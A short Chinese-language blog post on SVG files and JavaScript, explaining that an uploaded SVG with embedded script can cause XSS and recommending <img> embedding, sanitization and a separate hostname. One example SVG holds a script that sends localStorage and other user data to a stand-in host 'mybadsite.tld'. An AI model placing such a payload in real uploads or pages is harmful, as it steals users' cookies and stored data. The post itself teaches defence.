發(fā)布于:2021-01-14 09:18:31
0
229
0
SVG是用于創(chuàng)建自定義字體,動(dòng)畫(huà),尺寸減小的圖形等的出色工具。它們既是HTML,又是圖像,而且都很棒。由于SVG提供的靈活性,許多網(wǎng)站已轉(zhuǎn)向SVG,而不是JPG,GIF和PNG。
這種靈活性的一個(gè)例子是什么?您是否知道可以將JavaScript直接嵌入到SVG文件中:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/> <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/> <script> alert("Hello world"); </script> </svg>
這是一個(gè)很酷的功能,但是如果按原樣嵌入到頁(yè)面中也是一個(gè)安全問(wèn)題。例如,如果用戶使用以下代碼將SVG上傳到您的網(wǎng)站:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/> <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/> <script> // BAD! Send the user's info to your website! const info = JSON.stringify([removed]) + JSON.stringify(localStorage); _document.location = "https://mybadsite.tld/stolenInfo=" + info; </script> </svg>
他們可以通過(guò)XSS竊取Cookie,存儲(chǔ)空間和其他信息。那是個(gè)問(wèn)題。防止這種情況的一種方法是將JavaScript從SVG中剝離出來(lái),但是您也可以通過(guò)CSS嵌入as<img>或as background-image:
<img src="/path/to/image.svg" />
當(dāng)您使用<img>或時(shí)background-image,將阻止執(zhí)行JavaScript,從而使SVG相對(duì)安全!但是,您仍然應(yīng)該清除SVG中的不良內(nèi)容,并從其他主機(jī)名提供它們,以免共享cookie!
作者介紹
熱門(mén)博客推薦